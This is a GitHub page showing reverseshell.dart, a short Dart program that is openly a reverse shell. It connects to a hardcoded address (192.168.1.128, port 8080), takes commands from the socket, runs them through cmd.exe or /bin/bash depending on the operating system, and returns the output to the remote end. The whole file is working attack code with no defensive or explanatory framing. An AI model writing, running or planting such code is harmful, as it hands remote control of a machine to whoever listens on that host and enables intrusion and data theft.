-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathreverseshell.dart
47 lines (41 loc) · 1.23 KB
/
reverseshell.dart
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import 'dart:io';
import 'dart:convert';
String results = "";
main() {
String ip = "192.168.1.128";
int port = 8080;
shell(ip, port);
}
void shell(String ip, int port) async {
Socket socket = await Socket.connect(ip, port);
socket.listen((response) {
String command = new String.fromCharCodes(response).trim();
if (Platform.isWindows) {
Process.start('cmd.exe', []).then((Process shell) {
shell.stdin.writeln(command);
shell.stdout.transform(utf8.decoder).listen((res) {
socket.writeln(res);
});
});
} else if (Platform.isLinux) {
Process.start('/bin/bash', []).then((Process shell) {
shell.stdin.writeln(command);
shell.stdout.transform(utf8.decoder).listen((res) {
socket.writeln(res);
});
});
} else if (Platform.isMacOS) {
Process.start('/bin/bash', []).then((Process shell) {
shell.stdin.writeln(command);
shell.stdout.transform(utf8.decoder).listen((res) {
socket.writeln(res);
});
});
} else {
socket.writeln("Unsupported operating system");
}
if (command == "help") {
print("add your functions");
}
});
}